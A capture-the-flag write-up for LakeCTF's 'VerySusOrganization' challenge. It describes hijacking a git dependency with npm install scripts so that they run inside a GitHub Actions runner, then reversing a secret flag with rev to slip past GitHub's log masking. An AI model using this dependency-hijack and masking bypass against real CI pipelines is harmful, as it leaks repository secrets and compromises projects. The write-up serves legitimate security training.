LakeCTF '24-'25 Quals — VerySusOrganization
You have been hired to contribute to a very suspicious project. Follow the link below to get onboard.
We're given access to an organization that looks like this:
Besides the random projects, of note are two repositories:
- The "sus image generator", which contains a GitHub action, and
 
- The "sus random number generator", which we have write access to.
 
Notably, the check build workflow does an npm install,
yml
1name: Trigger Build on Comment
2
3on:
4  issue_comment:
5    types: [created, edited]
6
7jobs:
8  check-build:
9    if: ${{ startsWith(github.event.comment.body, '/run-build') }}
10    runs-on: ubuntu-latest
11    steps:
12      - name: Checkout code
13        uses: actions/checkout@v2
14        with:
15          fetch-depth: 0
16
17      - name: Set up SSH
18        env:
19          ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
20          FLAG: ${{ secrets.FLAG }}
21        run: |
22          pwd
23          mkdir -p ~/.ssh
24          echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
25          echo "$FLAG" > ~/flag.txt
26          chmod 600 ~/.ssh/id_rsa
27          ssh-keyscan github.com >> ~/.ssh/known_hosts
28          
29
30      - name: Install dependencies
31        run: |
32          npm installand the image generator lists the random number generator repo as a dependency in package.json:
json
1{
2    "name": "sus-image-generator",
3    "version": "1.0.0",
4    "main": "app.js",
5    "keywords": [],
6    "author": "paultisaw",
7    "license": "ISC",
8    "description": "Yet another sus image generator",
9    "dependencies": {
10        "express": "^4.21.1",
11        "suspicious-random-number-generator": "git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git"
12    }
13}Then, because we have write access to the random number generator repository, we can use npm pre- / post-install scripts to execute malicious code in the GitHub runner.
One last hiccup: when a pre- or post-install script is run, its output is suppressed by NPM, so we can't just echo the flag directly. However, returning an error will cause any prior output to be logged. Testing with a preinstall script of echo test,
bash
1PS C:\Users\kevin\Downloads> npm i git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
2
3added 1 package in 9sBut if we use echo test && exit 1,
bash
1PS C:\Users\kevin\Downloads> npm i git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
2npm ERR! code 1
3npm ERR! git dep preparation failed
4npm ERR! command C:\Program Files\nodejs\node.exe C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js install --force --cache=C:\Users\kevin\AppData\Local\npm-cache --prefer-offline=false --prefer-online=false --offline=false --no-progress --no-save --no-audit --include=dev --include=peer --include=optional --no-package-lock-only --no-dry-run
5npm ERR! > suspicious-random-number-generator@1.0.1 preinstall
6npm ERR! > echo test && exit 1
7npm ERR!
8npm ERR! test
9npm ERR! npm WARN using --force Recommended protections disabled.
10npm ERR! npm ERR! code 1
11npm ERR! npm ERR! path C:\Users\kevin\AppData\Local\npm-cache\_cacache\tmp\git-clonesoPIBC
12npm ERR! npm ERR! command failed
13npm ERR! npm ERR! command C:\WINDOWS\system32\cmd.exe /d /s /c echo test && exit 1
14npm ERR!
15npm ERR! npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_43_586Z-debug-0.log
16
17npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_34_744Z-debug-0.logThen we have our final payload; in the random number generator repo, we can add a post-install script to cat the flag and error out, printing the output to the GitHub actions console:
json
1{
2  "name": "suspicious-random-number-generator",
3  "version": "1.0.1",
4  "main": "index.js",
5  "author": "paultisaw",
6  "description": "Yet another suspicious random number generator",
7  "scripts": {
8    "preinstall": "rev ~/flag.txt && exit 1",
9    "postinstall": "rev ~/flag.txt && exit 1"
10  }
11}(using rev here to reverse the string and prevent GitHub from automatically censoring the flag in the action output). Triggering a workflow run, we get the flag:
bash
1kevin@ky28059:~$ echo "}suS_yrev_d33Dni_saw_SIhT{LPFE" | rev
2EFPL{ThIS_was_inD33d_very_Sus}